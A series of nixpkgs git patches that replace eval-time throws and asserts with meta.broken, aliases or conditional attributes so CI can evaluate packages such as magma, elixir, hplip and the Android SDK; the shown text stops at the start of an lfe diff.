-            $ export NIXPKGS_ACCEPT_ANDROID_SDK_LICENSE=1
-      ''
-    else
-      callPackage ./cmdline-tools.nix {
-        inherit
-          deployAndroidPackage
-          os
-          arch
-          meta
-          ;
+    postInstall =
+      if !licenseAccepted then
+        throw ''
+          ${builtins.concatStringsSep "\n\n" (mkLicenseTexts licenseNames)}
 
-        package = cmdline-tools-package;
+          You must accept the following licenses:
+          ${lib.concatMapStringsSep "\n" (str: "  - ${str}") licenseNames}
 
-        postInstall = ''
+          a)
+            by setting nixpkgs config option 'android_sdk.accept_license = true;'.
+          b)
+            by an environment variable for a single invocation of the nix tools.
+              $ export NIXPKGS_ACCEPT_ANDROID_SDK_LICENSE=1
+        ''
+      else
+        ''
           # Symlink all requested plugins
           ${linkPlugin {
             name = "platform-tools";
@@ -769,5 +769,5 @@ lib.recurseIntoAttrs rec {
             ''
           ) licenseNames}
         '';
-      };
+  };
 }

From 373b41e152ff81bfd4b4bfa5ada79c5ebe5869f2 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 18 Jul 2025 22:03:52 +0200
Subject: [PATCH 2712/4511] lua{54,Jit}Packages.lua-pam: mark as broken

Removes the roll-your-own-broken-attribute that `disabled` was. The
advantage of `meta.broken`: It can be caught and properly handled by CI,
while the custom `throw` can not.

(cherry picked from commit 236cf1200e7870aa589405d2c8437de74437e565)
---
 .../lua-modules/generic/default.nix           | 36 +++++++++----------
 pkgs/top-level/lua-packages.nix               |  7 ++--
 2 files changed, 18 insertions(+), 25 deletions(-)

diff --git a/pkgs/development/lua-modules/generic/default.nix b/pkgs/development/lua-modules/generic/default.nix
index 565852bb0812..0a3275e49bdc 100644
--- a/pkgs/development/lua-modules/generic/default.nix
+++ b/pkgs/development/lua-modules/generic/default.nix
@@ -5,31 +5,27 @@
 }:
 
 {
-  disabled ? false,
   propagatedBuildInputs ? [ ],
   makeFlags ? [ ],
   ...
 }@attrs:
 
-if disabled then
-  throw "${attrs.name} not supported by interpreter lua-${lua.luaversion}"
-else
-  toLuaModule (
-    lua.stdenv.mkDerivation (
-      attrs
-      // {
-        name = "lua${lua.luaversion}-" + attrs.pname + "-" + attrs.version;
+toLuaModule (
+  lua.stdenv.mkDerivation (
+    attrs
+    // {
+      name = "lua${lua.luaversion}-" + attrs.pname + "-" + attrs.version;
 
-        makeFlags = [
-          "PREFIX=$(out)"
-          "LUA_INC=-I${lua}/include"
-          "LUA_LIBDIR=$(out)/lib/lua/${lua.luaversion}"
-          "LUA_VERSION=${lua.luaversion}"
-        ] ++ makeFlags;
+      makeFlags = [
+        "PREFIX=$(out)"
+        "LUA_INC=-I${lua}/include"
+        "LUA_LIBDIR=$(out)/lib/lua/${lua.luaversion}"
+        "LUA_VERSION=${lua.luaversion}"
+      ] ++ makeFlags;
 
-        propagatedBuildInputs = propagatedBuildInputs ++ [
-          lua # propagate it for its setup-hook
-        ];
-      }
-    )
+      propagatedBuildInputs = propagatedBuildInputs ++ [
+        lua # propagate it for its setup-hook
+      ];
+    }
   )
+)
diff --git a/pkgs/top-level/lua-packages.nix b/pkgs/top-level/lua-packages.nix
index 1cd461efa91f..477e51215339 100644
--- a/pkgs/top-level/lua-packages.nix
+++ b/pkgs/top-level/lua-packages.nix
@@ -121,8 +121,6 @@ rec {
     buildLuaPackage rec {
       pname = "lua-pam";
       version = "unstable-2015-07-03";
-      # Needed for `disabled`, overridden in buildLuaPackage
-      name = "${pname}-${version}";
 
       src = fetchFromGitHub {
         owner = "devurandom";
@@ -147,10 +145,9 @@ rec {
         runHook postInstall
       '';
 
-      # The package does not build with lua 5.4 or luaJIT
-      disabled = luaAtLeast "5.4" || isLuaJIT;
-
       meta = with lib; {
+        # The package does not build with lua 5.4 or luaJIT
+        broken = luaAtLeast "5.4" || isLuaJIT;
         description = "Lua module for PAM authentication";
         homepage = "https://github.com/devurandom/lua-pam";
         license = licenses.mit;

From 4ec6c212b52207885c93593dc8cd554703dd8b8c Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 18 Jul 2025 21:13:51 +0200
Subject: [PATCH 2713/4511] magma_2_{6,7}_2: drop

These throw this error on eval right now:

```
the required ROCm 5.7 version for magma 2.6.2 has been removed
```

They'd technically be usable with CUDA, but are not used in-tree.

(cherry picked from commit 71b8d8ee989c1712452074affcf9855b329010fc)
---
 .../libraries/science/math/magma/generic.nix  | 60 +++++++-----------
 .../libraries/science/math/magma/releases.nix | 62 -------------------
 pkgs/top-level/aliases.nix                    |  2 +
 pkgs/top-level/all-packages.nix               |  2 +-
 4 files changed, 24 insertions(+), 102 deletions(-)

diff --git a/pkgs/development/libraries/science/math/magma/generic.nix b/pkgs/development/libraries/science/math/magma/generic.nix
index 394e249abc7e..3ce4d9a7bf66 100644
--- a/pkgs/development/libraries/science/math/magma/generic.nix
+++ b/pkgs/development/libraries/science/math/magma/generic.nix
@@ -42,20 +42,7 @@ let
     ;
   inherit (magmaRelease) version hash supportedGpuTargets;
 
-  # Per https://icl.utk.edu/magma/downloads, support for CUDA 12 wasn't added until 2.7.1.
-  # If we're building a version prior to that, use the latest release of the 11.x series.
-  effectiveCudaPackages =
-    if strings.versionOlder version "2.7.1" then cudaPackages_11 else cudaPackages;
-
-  inherit (effectiveCudaPackages) cudaAtLeast flags cudaOlder;
-
-  effectiveRocmPackages =
-    if strings.versionOlder version "2.8.0" then
-      throw ''
-        the required ROCm 5.7 version for magma ${version} has been removed
-      ''
-    else
-      rocmPackages;
+  inherit (cudaPackages) cudaAtLeast flags cudaOlder;
 
   # NOTE: The lists.subtractLists function is perhaps a bit unintuitive. It subtracts the elements
   #   of the first list *from* the second list. That means:
@@ -65,7 +52,7 @@ let
   # NOTE: The hip.gpuTargets are prefixed with "gfx" instead of "sm" like flags.realArches.
   #   For some reason, Magma's CMakeLists.txt file does not handle the "gfx" prefix, so we must
   #   remove it.
-  rocmArches = lists.map (x: strings.removePrefix "gfx" x) effectiveRocmPackages.clr.gpuTargets;
+  rocmArches = lists.map (x: strings.removePrefix "gfx" x) rocmPackages.clr.gpuTargets;
   supportedRocmArches = lists.intersectLists rocmArches supportedGpuTargets;
   unsupportedRocmArches = lists.subtractLists supportedRocmArches rocmArches;
 
@@ -123,19 +110,12 @@ stdenv.mkDerivation (finalAttrs: {
     "test"
   ];
 
-  postPatch =
-    ''
-      # For rocm version script invoked by cmake
-      patchShebangs tools/
-      # Fixup for the python test runners
-      patchShebangs ./testing/run_{tests,summarize}.py
-    ''
-    + lib.optionalString (strings.versionOlder version "2.9.0") ''
-      substituteInPlace ./testing/run_tests.py \
-        --replace-fail \
-          "print >>sys.stderr, cmdp, \"doesn't exist (original name: \" + cmd + \", precision: \" + precision + \")\"" \
-          "print(f\"{cmdp} doesn't exist (original name: {cmd}, precision: {precision})\", file=sys.stderr)"
-    '';
+  postPatch = ''
+    # For rocm version script invoked by cmake
+    patchShebangs tools/
+    # Fixup for the python test runners
+    patchShebangs ./testing/run_{tests,summarize}.py
+  '';
 
   nativeBuildInputs =
     [
@@ -145,7 +125,7 @@ stdenv.mkDerivation (finalAttrs: {
       gfortran
     ]
     ++ lists.optionals cudaSupport [
-      effectiveCudaPackages.cuda_nvcc
+      cudaPackages.cuda_nvcc
     ];
 
   buildInputs =
@@ -157,7 +137,7 @@ stdenv.mkDerivation (finalAttrs: {
       (getLib gfortran.cc) # libgfortran.so
     ]
     ++ lists.optionals cudaSupport (
-      with effectiveCudaPackages;
+      with cudaPackages;
       [
         cuda_cccl # <nv/target> and <cuda/std/type_traits>
         cuda_cudart # cuda_runtime.h
@@ -172,7 +152,7 @@ stdenv.mkDerivation (finalAttrs: {
       ]
     )
     ++ lists.optionals rocmSupport (
-      with effectiveRocmPackages;
+      with rocmPackages;
       [
         clr
         hipblas
@@ -203,9 +183,9 @@ stdenv.mkDerivation (finalAttrs: {
       # Can be removed once https://github.com/icl-utk-edu/magma/pull/27 is merged
       # Can't easily apply the PR as a patch because we rely on the tarball with pregenerated
       # hipified files ∴ fetchpatch of the PR will apply cleanly but fail to build
-      (strings.cmakeFeature "ROCM_CORE" "${effectiveRocmPackages.clr}")
-      (strings.cmakeFeature "CMAKE_C_COMPILER" "${effectiveRocmPackages.clr}/bin/hipcc")
-      (strings.cmakeFeature "CMAKE_CXX_COMPILER" "${effectiveRocmPackages.clr}/bin/hipcc")
+      (strings.cmakeFeature "ROCM_CORE" "${rocmPackages.clr}")
+      (strings.cmakeFeature "CMAKE_C_COMPILER" "${rocmPackages.clr}/bin/hipcc")
+      (strings.cmakeFeature "CMAKE_CXX_COMPILER" "${rocmPackages.clr}/bin/hipcc")
     ];
 
   # Magma doesn't have a test suite we can easily run, just loose executables, all of which require a GPU.
@@ -241,8 +221,12 @@ stdenv.mkDerivation (finalAttrs: {
     '';
 
   passthru = {
-    inherit cudaSupport rocmSupport gpuTargets;
-    cudaPackages = effectiveCudaPackages;
+    inherit
+      cudaPackages
+      cudaSupport
+      rocmSupport
+      gpuTargets
+      ;
     testers = {
       all =
         let
@@ -395,8 +379,6 @@ stdenv.mkDerivation (finalAttrs: {
       # dynamic CUDA support is broken https://github.com/NixOS/nixpkgs/issues/239237
       (cudaSupport && !static)
       || !(cudaSupport || rocmSupport) # At least one back-end enabled
-      || (cudaSupport && rocmSupport) # Mutually exclusive
-      || (cudaSupport && strings.versionOlder version "2.7.1" && cudaPackages_11 == null)
-      || (rocmSupport && strings.versionOlder version "2.8.0");
+      || (cudaSupport && rocmSupport); # Mutually exclusive
   };
 })
diff --git a/pkgs/development/libraries/science/math/magma/releases.nix b/pkgs/development/libraries/science/math/magma/releases.nix
index beb1559e3762..2d0566300330 100644
--- a/pkgs/development/libraries/science/math/magma/releases.nix
+++ b/pkgs/development/libraries/science/math/magma/releases.nix
@@ -4,68 +4,6 @@
 #   HIP is here: https://github.com/icl-utk-edu/magma/blob/v2.9.0/CMakeLists.txt#L290
 #   CUDA works around magma's wrappers and uses FindCUDAToolkit directly
 [
-  {
-    version = "2.6.2";
-    hash = "sha256-dbVU2rAJA+LRC5cskT5Q5/iMvGLzrkMrWghsfk7aCnE=";
-    supportedGpuTargets = [
-      "700"
-      "701"
-      "702"
-      "703"
-      "704"
-      "705"
-      "801"
-      "802"
-      "803"
-      "805"
-      "810"
-      "900"
-      "902"
-      "904"
-      "906"
-      "908"
-      "909"
-      "90c"
-      "1010"
-      "1011"
-      "1012"
-      "1030"
-      "1031"
-      "1032"
-      "1033"
-    ];
-  }
-  {
-    version = "2.7.2";
-    hash = "sha256-cpvBpw5RinQi/no6VFN6R0EDWne+M0n2bqxcNiV21WA=";
-    supportedGpuTargets = [
-      "700"
-      "701"
-      "702"
-      "703"
-      "704"
-      "705"
-      "801"
-      "802"
-      "803"
-      "805"
-      "810"
-      "900"
-      "902"
-      "904"
-      "906"
-      "908"
-      "909"
-      "90c"
-      "1010"
-      "1011"
-      "1012"
-      "1030"
-      "1031"
-      "1032"
-      "1033"
-    ];
-  }
   {
     version = "2.9.0";
     hash = "sha256-/3f9Nyaz3+w7+1V5CwZICqXMOEOWwts1xW/a5KgsZBw=";
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 2e93d6c7f224..37dfb4c2fea8 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1158,6 +1158,8 @@ mapAliases {
   ma1sd = throw "ma1sd was dropped as it is unmaintained"; # Added 2024-07-10
   mac = monkeysAudio; # Added 2024-11-30
   MACS2 = macs2; # Added 2023-06-12
+  magma_2_6_2 = throw "'magma_2_6_2' has been removed, use the latest 'magma' package instead."; # Added 2025-07-20
+  magma_2_7_2 = throw "'magma_2_7_2' has been removed, use the latest 'magma' package instead."; # Added 2025-07-20
   mailcore2 = throw "'mailcore2' has been removed due to lack of upstream maintenance."; # Added 2025-06-09
   mailctl = throw "mailctl has been renamed to oama"; # Added 2024-08-19
   mailman-rss = throw "The mailman-rss package was dropped since it was unmaintained."; # Added 2024-06-21
diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 3c27a643d53e..aa859708acc3 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -15698,7 +15698,7 @@ with pkgs;
   # standard BLAS and LAPACK.
   openblasCompat = openblas.override { blas64 = false; };
 
-  inherit (callPackage ../development/libraries/science/math/magma { }) magma magma_2_7_2 magma_2_6_2;
+  inherit (callPackage ../development/libraries/science/math/magma { }) magma;
 
   magma-cuda = magma.override {
     cudaSupport = true;

From 91e131cd0d2a8dbfd0453f6e6b3a1ea311c07059 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 18 Jul 2025 21:24:51 +0200
Subject: [PATCH 2714/4511] python3Packages.setuptoolsCheckHook: move to
 aliases

This had already been removed and should be an alias now.

(cherry picked from commit 38002286d7dbe776070fb9b5a5c2000c9932d06c)
---
 pkgs/development/interpreters/python/hooks/default.nix | 2 --
 pkgs/top-level/python-aliases.nix                      | 1 +
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/python/hooks/default.nix b/pkgs/development/interpreters/python/hooks/default.nix
index d80013fa212d..0a211850b2f4 100644
--- a/pkgs/development/interpreters/python/hooks/default.nix
+++ b/pkgs/development/interpreters/python/hooks/default.nix
@@ -422,8 +422,6 @@ in
     } ./setuptools-build-hook.sh
   ) { };
 
-  setuptoolsCheckHook = throw "The setuptoolsCheckHook has been removed, since the test command has been removed in setuptools 72.0";
-
   setuptoolsRustBuildHook = callPackage (
     { makePythonHook, setuptools-rust }:
     makePythonHook {
diff --git a/pkgs/top-level/python-aliases.nix b/pkgs/top-level/python-aliases.nix
index c05e96f56a00..bc93e38493d3 100644
--- a/pkgs/top-level/python-aliases.nix
+++ b/pkgs/top-level/python-aliases.nix
@@ -707,6 +707,7 @@ mapAliases ({
   sequoia = throw "python3Packages.sequoia was replaced by pysequoia - built from a dedicated repository, with a new API."; # added 2023-06-24
   setuptools_dso = setuptools-dso; # added 2024-03-03
   setuptools_scm = setuptools-scm; # added 2021-06-03
+  setuptoolsCheckHook = throw "The setuptoolsCheckHook has been removed, since the test command has been removed in setuptools 72.0."; # added 2024-08-06
   setuptoolsTrial = setuptools-trial; # added 2023-11-11
   sharkiqpy = sharkiq; # added 2022-05-21
   shouldbe = throw "shouldbe was removed, because it was disabled on all python version since 3.8 and last updated in 2019."; # added 2024-05-12

From b39f2030232cedf692ccc5ab19a041cd996f33c9 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 18 Jul 2025 22:06:39 +0200
Subject: [PATCH 2715/4511] hyprlandPlugins.hyprscroller: make throw an alias

This is required to make CI work properly.

(cherry picked from commit 62dbe1ca37a764bf08ff69666307fbe0e49f44e4)
---
 .../window-managers/hyprwm/hyprland-plugins/default.nix    | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/window-managers/hyprwm/hyprland-plugins/default.nix b/pkgs/applications/window-managers/hyprwm/hyprland-plugins/default.nix
index da2b2cbd51af..8cd3353bfcd1 100644
--- a/pkgs/applications/window-managers/hyprwm/hyprland-plugins/default.nix
+++ b/pkgs/applications/window-managers/hyprwm/hyprland-plugins/default.nix
@@ -1,4 +1,5 @@
 {
+  config,
   lib,
   callPackage,
   pkg-config,
@@ -28,12 +29,12 @@ let
     { hypr-dynamic-cursors = import ./hypr-dynamic-cursors.nix; }
     { hyprfocus = import ./hyprfocus.nix; }
     { hyprgrass = import ./hyprgrass.nix; }
-    {
-      hyprscroller = throw "hyprlandPlugins.hyprscroller has been removed as the upstream project is deprecated. Consider using `hyprlandPlugins.hyprscrolling`.";
-    } # Added 2025-05-09
     { hyprspace = import ./hyprspace.nix; }
     { hyprsplit = import ./hyprsplit.nix; }
     (import ./hyprland-plugins.nix)
+    (lib.optionalAttrs config.allowAliases {
+      hyprscroller = throw "hyprlandPlugins.hyprscroller has been removed as the upstream project is deprecated. Consider using `hyprlandPlugins.hyprscrolling`."; # Added 2025-05-09
+    })
   ];
 in
 (lib.mapAttrs (name: plugin: callPackage plugin { inherit mkHyprlandPlugin; }) plugins)

From 9dffb86b1dd73ca21e01cf68d0c2811d5a39b790 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 19 Jul 2025 11:37:39 +0200
Subject: [PATCH 2716/4511] 
 haskell.packages.ghc{90,92}.haskell-language-server: make throw an alias

Same reasoning as commits before.

(cherry picked from commit 1d4e0690fbc07f77286fd910c09564caf4921b62)
---
 .../haskell-modules/configuration-ghc-9.0.x.nix       | 11 +++++++++--
 .../haskell-modules/configuration-ghc-9.2.x.nix       | 11 +++++++++--
 2 files changed, 18 insertions(+), 4 deletions(-)

diff --git a/pkgs/development/haskell-modules/configuration-ghc-9.0.x.nix b/pkgs/development/haskell-modules/configuration-ghc-9.0.x.nix
index e074709a19e7..d29a4ebf71c6 100644
--- a/pkgs/development/haskell-modules/configuration-ghc-9.0.x.nix
+++ b/pkgs/development/haskell-modules/configuration-ghc-9.0.x.nix
@@ -1,4 +1,8 @@
-{ pkgs, haskellLib }:
+{
+  config,
+  pkgs,
+  haskellLib,
+}:
 
 with haskellLib;
 
@@ -108,7 +112,10 @@ self: super: {
 
   doctest = dontCheck super.doctest;
 
-  haskell-language-server = throw "haskell-language-server has dropped support for ghc 9.0 in version 2.4.0.0, please use a newer ghc version or an older nixpkgs version";
+  haskell-language-server =
+    lib.throwIf config.allowAliases
+      "haskell-language-server has dropped support for ghc 9.0 in version 2.4.0.0, please use a newer ghc version or an older nixpkgs version"
+      (markBroken super.haskell-language-server);
 
   # Needs to use ghc-lib due to incompatible GHC
   ghc-tags = doDistribute self.ghc-tags_1_5;
diff --git a/pkgs/development/haskell-modules/configuration-ghc-9.2.x.nix b/pkgs/development/haskell-modules/configuration-ghc-9.2.x.nix
index 6d85d85a8617..cd67a884e853 100644
--- a/pkgs/development/haskell-modules/configuration-ghc-9.2.x.nix
+++ b/pkgs/development/haskell-modules/configuration-ghc-9.2.x.nix
@@ -1,4 +1,8 @@
-{ pkgs, haskellLib }:
+{
+  config,
+  pkgs,
+  haskellLib,
+}:
 
 with haskellLib;
 
@@ -74,7 +78,10 @@ self: super: {
     }
   );
 
-  haskell-language-server = throw "haskell-language-server has dropped support for ghc 9.2 in version 2.10.0.0, please use a newer ghc version or an older nixpkgs version";
+  haskell-language-server =
+    lib.throwIf config.allowAliases
+      "haskell-language-server has dropped support for ghc 9.2 in version 2.10.0.0, please use a newer ghc version or an older nixpkgs version"
+      (markBroken super.haskell-language-server);
 
   # For GHC < 9.4, some packages need data-array-byte as an extra dependency
   hashable = addBuildDepends [ self.data-array-byte ] super.hashable;

From 29028ebf525b797ef142f14d4be55e22acf20449 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 18 Jul 2025 22:22:11 +0200
Subject: [PATCH 2717/4511] flutterPackages.beta: fix eval

This attribute shouldn't be available when no beta versions are
packaged, otherwise it fails eval in CI.

(cherry picked from commit a6910dc450078d9e0614c0347a7340139131a74d)
---
 pkgs/development/compilers/flutter/default.nix | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/compilers/flutter/default.nix b/pkgs/development/compilers/flutter/default.nix
index a9ce1c6939aa..192b6e61fd06 100644
--- a/pkgs/development/compilers/flutter/default.nix
+++ b/pkgs/development/compilers/flutter/default.nix
@@ -129,7 +129,11 @@ let
 in
 flutterVersions
 // {
-  beta = flutterVersions.${lib.last (lib.naturalSort (builtins.attrNames betaFlutterVersions))};
-  stable = flutterVersions.${lib.last (lib.naturalSort (builtins.attrNames stableFlutterVersions))};
   inherit wrapFlutter mkFlutter;
 }
+// lib.optionalAttrs (betaFlutterVersions != { }) {
+  beta = flutterVersions.${lib.last (lib.naturalSort (builtins.attrNames betaFlutterVersions))};
+}
+// lib.optionalAttrs (stableFlutterVersions != { }) {
+  stable = flutterVersions.${lib.last (lib.naturalSort (builtins.attrNames stableFlutterVersions))};
+}

From ac946e166adc17842c1d6c5850fcbffd9d8095b9 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 21 Jul 2025 20:11:42 +0200
Subject: [PATCH 2718/4511] linux: remove assert on linux

Asserting the hostplatform for `linux` is bad, because it can't be
caught by CI. For the `linux` package itself, it doesn't make a
difference, because it also has `meta.platforms = linux` set, so this
will fail evaluation - and in a way that can nicely be caught by CI.

(cherry picked from commit 0febbb4ff90f2bf7637567214b0bbf1de43ba461)
---
 pkgs/os-specific/linux/kernel/generic.nix |  2 --
 pkgs/os-specific/linux/ply/default.nix    |  1 +
 pkgs/test/nixos-functions/default.nix     | 22 +++++++++++-----------
 3 files changed, 12 insertions(+), 13 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/generic.nix b/pkgs/os-specific/linux/kernel/generic.nix
index 6c8ae502731e..9248bea73126 100644
--- a/pkgs/os-specific/linux/kernel/generic.nix
+++ b/pkgs/os-specific/linux/kernel/generic.nix
@@ -91,8 +91,6 @@ let
     # cgit) that are needed here should be included directly in Nixpkgs as
     # files.
 
-    assert stdenv.hostPlatform.isLinux;
-
     let
       # Dirty hack to make sure that `version` & `src` have
       # `<nixpkgs/pkgs/os-specific/linux/kernel/linux-x.y.nix>` as position
diff --git a/pkgs/os-specific/linux/ply/default.nix b/pkgs/os-specific/linux/ply/default.nix
index 3e1dfa296706..53d3553afc0a 100644
--- a/pkgs/os-specific/linux/ply/default.nix
+++ b/pkgs/os-specific/linux/ply/default.nix
@@ -55,5 +55,6 @@ stdenv.mkDerivation rec {
       mic92
       mbbx6spp
     ];
+    platforms = lib.platforms.linux;
   };
 }
diff --git a/pkgs/test/nixos-functions/default.nix b/pkgs/test/nixos-functions/default.nix
index dc8e0b3ead31..4cc738cfaebe 100644
--- a/pkgs/test/nixos-functions/default.nix
+++ b/pkgs/test/nixos-functions/default.nix
@@ -21,14 +21,14 @@ let
     label = "test";
   };
 in
-pkgs.recurseIntoAttrs {
-
-  nixos-test =
-    (pkgs.nixos {
-      system.nixos = dummyVersioning;
-      boot.loader.grub.enable = false;
-      fileSystems."/".device = "/dev/null";
-      system.stateVersion = lib.trivial.release;
-    }).toplevel;
-
-}
+lib.optionalAttrs (stdenv.hostPlatform.isLinux) (
+  pkgs.recurseIntoAttrs {
+    nixos-test =
+      (pkgs.nixos {
+        system.nixos = dummyVersioning;
+        boot.loader.grub.enable = false;
+        fileSystems."/".device = "/dev/null";
+        system.stateVersion = lib.trivial.release;
+      }).toplevel;
+  }
+)

From 060130425d46db3b665013f57a1a96c0b1b3304d Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 21 Jul 2025 18:08:06 +0200
Subject: [PATCH 2719/4511] hplipWithPlugin: remove assert

This assert is already handled by `meta.platforms`, which can be better
caught by CI than an `assert`. Also set `meta.platforms` to the earlier
defined `hplipPlatforms` for a single source of truth.

(cherry picked from commit 715d372a0c894b4bd2dbb8a45c5ed0eb4590a028)
---
 pkgs/by-name/hp/hplip/package.nix | 14 +-------------
 1 file changed, 1 insertion(+), 13 deletions(-)

diff --git a/pkgs/by-name/hp/hplip/package.nix b/pkgs/by-name/hp/hplip/package.nix
index 5b75315c16e7..524b241734f1 100644
--- a/pkgs/by-name/hp/hplip/package.nix
+++ b/pkgs/by-name/hp/hplip/package.nix
@@ -72,12 +72,6 @@ let
 
 in
 
-assert
-  withPlugin
-  ->
-    builtins.elem hplipArch pluginArches
-    || throw "HPLIP plugin not supported on ${stdenv.hostPlatform.system}";
-
 python3Packages.buildPythonApplication {
   inherit pname version;
   format = "other";
@@ -361,13 +355,7 @@ python3Packages.buildPythonApplication {
           bsd2
           gpl2Plus
         ];
-    platforms = [
-      "i686-linux"
-      "x86_64-linux"
-      "armv6l-linux"
-      "armv7l-linux"
-      "aarch64-linux"
-    ];
+    platforms = lib.attrNames hplipPlatforms;
     maintainers = with maintainers; [ ttuegel ];
   };
 }

From b4ded847d6adb48d0b84d4a5fb3db1b6dfbc5887 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 19 Jul 2025 10:21:31 +0200
Subject: [PATCH 2720/4511] beamPackages.elixir: avoid throwing for
 incompatibility in CI

These asserts should only trigger when a user tries to use that
combination. In CI, they should just not create an attrpath to evaluate.

(cherry picked from commit 093e7390f1399c01f82645c1cd4320b22cb52228)
---
 .../interpreters/elixir/generic-builder.nix   | 133 +++++++++---------
 1 file changed, 69 insertions(+), 64 deletions(-)

diff --git a/pkgs/development/interpreters/elixir/generic-builder.nix b/pkgs/development/interpreters/elixir/generic-builder.nix
index 4a15f07b3f58..680bc00b3ff6 100644
--- a/pkgs/development/interpreters/elixir/generic-builder.nix
+++ b/pkgs/development/interpreters/elixir/generic-builder.nix
@@ -1,4 +1,5 @@
 {
+  config,
   lib,
   stdenv,
   fetchFromGitHub,
@@ -56,6 +57,8 @@ let
       true
     else
       versionOlder (versions.major (getVersion erlang)) maxShiftMajor;
+  minAssert = versionAtLeast (getVersion erlang) minimumOTPVersion;
+  bothAssert = minAssert && maxAssert;
 
   elixirShebang =
     if stdenv.hostPlatform.isDarwin then
@@ -69,73 +72,75 @@ let
 
   erlc_opts = [ "deterministic" ] ++ optionals debugInfo [ "debug_info" ];
 in
-assert assertMsg (versionAtLeast (getVersion erlang) minimumOTPVersion) compatibilityMsg;
-assert assertMsg maxAssert compatibilityMsg;
+if !config.allowAliases && !bothAssert then
+  # Don't throw without aliases to not break CI.
+  null
+else
+  assert assertMsg bothAssert compatibilityMsg;
+  stdenv.mkDerivation {
+    pname = "${baseName}";
 
-stdenv.mkDerivation {
-  pname = "${baseName}";
+    inherit src version debugInfo;
 
-  inherit src version debugInfo;
+    nativeBuildInputs = [ makeWrapper ];
+    buildInputs = [ erlang ];
 
-  nativeBuildInputs = [ makeWrapper ];
-  buildInputs = [ erlang ];
+    env = {
+      LANG = "C.UTF-8";
+      LC_TYPE = "C.UTF-8";
+      DESTDIR = placeholder "out";
+      PREFIX = "/";
+      ERL_COMPILER_OPTIONS = "[${concatStringsSep "," erlc_opts}]";
+    };
 
-  env = {
-    LANG = "C.UTF-8";
-    LC_TYPE = "C.UTF-8";
-    DESTDIR = placeholder "out";
-    PREFIX = "/";
-    ERL_COMPILER_OPTIONS = "[${concatStringsSep "," erlc_opts}]";
-  };
-
-  preBuild = ''
-    patchShebangs ${escriptPath} || true
-  '';
-
-  # copy stdlib source files for LSP access
-  postInstall = ''
-    for d in lib/*; do
-      cp -R "$d/lib" "$out/lib/elixir/$d"
-    done
-  '';
-
-  postFixup = ''
-    # Elixir binaries are shell scripts which run erl. Add some stuff
-    # to PATH so the scripts can run without problems.
-
-    for f in $out/bin/*; do
-      b=$(basename $f)
-      if [ "$b" = mix ]; then continue; fi
-      wrapProgram $f \
-        --prefix PATH ":" "${
-          lib.makeBinPath [
-            erlang
-            coreutils
-            curl
-            bash
-          ]
-        }"
-    done
-
-    substituteInPlace $out/bin/mix \
-      --replace "/usr/bin/env elixir" "${elixirShebang}"
-  '';
-
-  pos = builtins.unsafeGetAttrPos "sha256" args;
-  meta = with lib; {
-    homepage = "https://elixir-lang.org/";
-    description = "Functional, meta-programming aware language built on top of the Erlang VM";
-
-    longDescription = ''
-      Elixir is a functional, meta-programming aware language built on
-      top of the Erlang VM. It is a dynamic language with flexible
-      syntax and macro support that leverages Erlang's abilities to
-      build concurrent, distributed and fault-tolerant applications
-      with hot code upgrades.
+    preBuild = ''
+      patchShebangs ${escriptPath} || true
     '';
 
-    license = licenses.asl20;
-    platforms = platforms.unix;
-    teams = [ teams.beam ];
-  };
-}
+    # copy stdlib source files for LSP access
+    postInstall = ''
+      for d in lib/*; do
+        cp -R "$d/lib" "$out/lib/elixir/$d"
+      done
+    '';
+
+    postFixup = ''
+      # Elixir binaries are shell scripts which run erl. Add some stuff
+      # to PATH so the scripts can run without problems.
+
+      for f in $out/bin/*; do
+        b=$(basename $f)
+        if [ "$b" = mix ]; then continue; fi
+        wrapProgram $f \
+          --prefix PATH ":" "${
+            lib.makeBinPath [
+              erlang
+              coreutils
+              curl
+              bash
+            ]
+          }"
+      done
+
+      substituteInPlace $out/bin/mix \
+        --replace "/usr/bin/env elixir" "${elixirShebang}"
+    '';
+
+    pos = builtins.unsafeGetAttrPos "sha256" args;
+    meta = with lib; {
+      homepage = "https://elixir-lang.org/";
+      description = "Functional, meta-programming aware language built on top of the Erlang VM";
+
+      longDescription = ''
+        Elixir is a functional, meta-programming aware language built on
+        top of the Erlang VM. It is a dynamic language with flexible
+        syntax and macro support that leverages Erlang's abilities to
+        build concurrent, distributed and fault-tolerant applications
+        with hot code upgrades.
+      '';
+
+      license = licenses.asl20;
+      platforms = platforms.unix;
+      teams = [ teams.beam ];
+    };
+  }

From 3e5383a9264abb3189bbcbb626be99c56361705a Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 19 Jul 2025 10:27:17 +0200
Subject: [PATCH 2721/4511] beamPackages.lfe: avoid throwing for
 incompatibility in CI

Same reasoning as commit before.

(cherry picked from commit e26ecf5c72838aa45ce42c13a7cb89e518e04fc3)
---
 .../interpreters/lfe/generic-builder.nix      | 152 +++++++++---------
 1 file changed, 79 insertions(+), 73 deletions(-)

diff --git a/pkgs/development/interpreters/lfe/generic-builder.nix b/pkgs/development/interpreters/lfe/generic-builder.nix
index 27d1c6d6c85d..9501d712785d 100644
